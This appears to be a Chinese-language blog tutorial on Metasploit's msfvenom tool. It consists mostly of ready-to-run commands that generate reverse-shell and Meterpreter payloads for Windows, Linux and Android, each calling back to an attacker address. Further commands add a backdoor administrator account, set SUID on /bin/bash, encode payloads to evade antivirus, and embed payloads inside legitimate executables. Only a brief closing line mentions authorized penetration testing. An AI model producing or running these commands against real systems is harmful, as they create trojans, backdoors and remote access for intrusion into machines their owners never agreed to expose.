msfvenom 完整使用指南

一、msfvenom 简介

msfvenom 是 Metasploit Framework 提供的一个强大的 payload 生成工具,它将早期的 msfpayload 和 msfencode 功能合并为一个统一接口,支持生成各种平台的 payload 文件,用于渗透测试过程中的有效载荷植入、后门生成、漏洞利用链条构建等。

它支持生成多种格式的文件,例如:

  • Windows:exe、dll、ps1、vba、asp、aspx、war

  • Linux:elf、so、sh、py

  • Web:php、jsp、html

  • 脚本/代码片段:c、ruby、python、powershell

msfvenom 的主要功能包括:

  1. 生成 Payload:支持反弹 Shell、Meterpreter 和命令执行等 Payload。
  2. 多平台支持:覆盖 Windows、Linux、macOS、Android 等。
  3. 多种输出格式:支持 EXE、DLL、ELF、SO、APK、ASP、PHP 等。
  4. 编码与混淆:内置编码器(如 shikata_ga_nai)以绕过反病毒检测。
  5. 灵活配置:通过参数自定义监听地址、端口、退出方式等。

安装与环境要求

msfvenom 随 Metasploit 框架安装,通常预装于 Kali Linux 或 Parrot Security OS。确保使用最新版本:

sudo apt update && sudo apt install metasploit-framework
msfvenom --version

运行 msfvenom -h 查看帮助信息,列出所有可用选项。


二、msfvenom 基本用法

基本命令结构如下:

msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <FORMAT> -o <OUTPUT_FILE>
  • -p:指定 Payload(如 windows/shell_reverse_tcp)。
  • LHOST:攻击者监听的 IP 地址。
  • LPORT:监听端口。
  • -f:输出格式(如 exe, dll, elf)。
  • -o:输出文件名。

示例:生成 Windows EXE 反弹 Shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o reverse_shell.exe
  • 解释
    • -p windows/shell_reverse_tcp:Windows 反弹 Shell。
    • LHOST=192.168.1.100:攻击者 IP。
    • LPORT=4444:监听端口。
    • -f exe:EXE 格式。
    • -o reverse_shell.exe:输出文件名。

常用 payload/格式/编码器 查询命令

msfvenom -l payloads    # 查看 payload 列表
msfvenom -l encoders    # 查看编码器列表
msfvenom -l formats     # 查看可用输出格式

三、Payload 生成分类

根据功能,msfvenom 的 Payload 可分为反弹 Shell、Meterpreter 和命令执行(CMD)三类(笔者个人只用到这三类)。以下为每类 Payload 在多种格式下的生成方法。

1. 反弹 Shell(Reverse Shell)

反弹 Shell 是渗透测试中的基础 payload,使目标机器主动连接攻击者的监听地址和端口,提供命令行 Shell,适合绕过防火墙。

Windows 反弹 Shell
  • EXE 格式

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o reverse_shell.exe
    
    • 功能:运行后连接攻击者,提供 cmd.exe Shell。
  • DLL 格式

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o reverse_shell.dll
    
    • 功能:生成 DLL,可通过 rundll32.exe 或进程注入加载。
  • ASP 格式

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o reverse_shell.asp
    
    • 功能:用于 Windows IIS 服务器,提供 Web 端 Shell。
Linux 反弹 Shell
  • ELF 格式

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o reverse_shell.elf
    
    • 功能:提供 /bin/sh 或 /bin/bash Shell。
  • SO 格式

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f so -o reverse_shell.so
    
    • 功能:Linux 共享对象文件,适合动态链接库注入。
  • Raw 格式

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o reverse_shell.bin
    
    • 功能:生成原始 Payload 数据,适合嵌入脚本。
Android 反弹 Shell
  • APK 格式
    msfvenom -p android/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f apk -o reverse_shell.apk
    
    • 功能:安装后提供 Android Shell。

2. Meterpreter

Meterpreter 是 Metasploit 提供的高级后渗透 payload,支持文件操作、屏幕截图、键盘记录等,适用于深入控制目标系统。

Windows Meterpreter
  • EXE 格式

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter.exe
    
    • 功能:提供 Windows Meterpreter 会话。
  • DLL 格式

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o meterpreter.dll
    
    • 功能:用于进程注入或 DLL 加载。
  • ASP 格式

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o meterpreter.asp
    
    • 功能:用于 Web 服务器渗透。
Linux Meterpreter
  • ELF 格式

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o meterpreter.elf
    
    • 功能:提供 Linux Meterpreter 会话。
  • SO 格式

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f so -o meterpreter.so
    
    • 功能:用于 Linux 动态链接库注入。
  • Raw 格式

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o meterpreter.bin
    
    • 功能:原始 Payload 数据,适合嵌入其他程序。
Android Meterpreter
  • APK 格式
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f apk -o meterpreter.apk
    
    • 功能:提供 Android Meterpreter 会话。

3. 命令执行(CMD)

命令执行 Payload 运行指定命令,适合快速执行简单任务,或者反弹shell受限的情况。

Windows 命令执行
  • EXE 格式

    msfvenom -p windows/x64/exec CMD='net user pentest Admin@123 /add && net localgroup administrators pentest /add' -f exe -o adduser.exe
    
    • 功能:添加后门用户 pentest 并加入管理员组。
  • DLL 格式

    msfvenom -p windows/x64/exec CMD='net user pentest Admin@123 /add && net localgroup administrators pentest /add' -f dll -o adduser.dll
    
    • 功能:同上,可通过 DLL 注入执行。
  • ASP 格式

    msfvenom -p windows/x64/exec CMD='net user pentest Admin@123 /add && net localgroup administrators pentest /add' -f asp -o adduser.asp
    
    • 功能:用于 Web 服务器,执行用户添加命令。
Linux 命令执行
  • ELF 格式

    msfvenom -p linux/x86/exec CMD='chmod +s /bin/bash' -f elf -o chmod.elf
    
    • 功能:为 /bin/bash 设置 SUID 权限。
  • SO 格式

    msfvenom -p linux/x86/exec CMD='chmod +s /bin/bash' -f so -o chmod.so
    
    • 功能:同上,适合动态链接库注入。
  • Raw 格式

    msfvenom -p linux/x86/exec CMD='chmod +s /bin/bash' -f raw -o chmod.bin
    
    • 功能:原始 Payload 数据,适合嵌入脚本。
PHP 命令执行
  • PHP 格式
    msfvenom -p php/exec CMD="system('whoami');" -f raw -o cmd.php
    
    • 功能:执行 whoami,适合 Web 服务器。

四、常用参数选项详解

以下为 msfvenom 的常用参数,涵盖 Payload 配置、编码、格式等。

1. Payload 选择(-p

指定 Payload 类型,常见包括:

  • 反弹 Shellwindows/shell_reverse_tcp, linux/x86/shell_reverse_tcp, android/shell/reverse_tcp
  • Meterpreterwindows/meterpreter/reverse_tcp, linux/x86/meterpreter/reverse_tcp.
  • 命令执行windows/x64/exec, linux/x86/exec, php/exec.

列出所有 Payload:

msfvenom -l payloads

2. 输出格式(-f

支持格式包括:

  • exe:Windows 可执行文件。
  • dll:Windows 动态链接库。
  • elf:Linux 可执行文件。
  • so:Linux 共享对象文件。
  • apk:Android 应用程序。
  • asp, php:Web 脚本。
  • raw:原始数据。

列出格式:

msfvenom -l formats

3. 编码器(-e

编码器混淆 Payload,常见编码器:

  • x86/shikata_ga_nai:多态编码器,适用于 Windows。
  • x64/zutto_dekiru:64 位系统编码器。

示例:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_meterpreter.exe
  • -e x86/shikata_ga_nai:使用编码器。
  • -i 5:编码 5 次。

列出编码器:

msfvenom -l encoders

4. 退出方式(EXITFUNC

EXITFUNC 指定 Payload 执行后进程的退出方式,常见值:

  • process:终止整个进程(默认)。
  • thread:终止当前线程,保持进程运行。
  • seh:使用结构化异常处理退出。
  • none:不执行退出操作。

示例:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f exe -o meterpreter_thread.exe
  • 场景EXITFUNC=thread 适合注入到其他进程,保持宿主进程存活。

5. 自定义模板(-x

使用合法文件作为模板,嵌入 Payload。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x legitimate.exe -f exe -o infected.exe
  • -x legitimate.exe:使用合法 EXE 模板。

6. 架构选择(-a

指定目标架构:x86, x64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -a x64 -f exe -o meterpreter_x64.exe

7. 其他参数

  • -b <BADCHARS>:避免特定字符(如 \x00)。
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00' -f exe -o shell.exe
    
  • -k:保持模板文件功能(与 -x 结合)。
  • --platform:指定平台(如 windows, linux)。
  • -n:添加 NOP 填充字节。
  • -c:指定自定义 Shellcode 文件。

总结

msfvenom 是渗透测试的强大工具,通过反弹 Shell、Meterpreter 和命令执行三类 Payload,满足多种场景需求。本文详细介绍了每类 Payload 在 EXE、DLL、ELF、SO 等格式下的生成方法,全面解析了 -p-f-eEXITFUNC 等参数,结合高级技巧如编码和加密通信,提升 Payload 隐蔽性。在合法授权范围内,msfvenom 是红队测试的利器。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值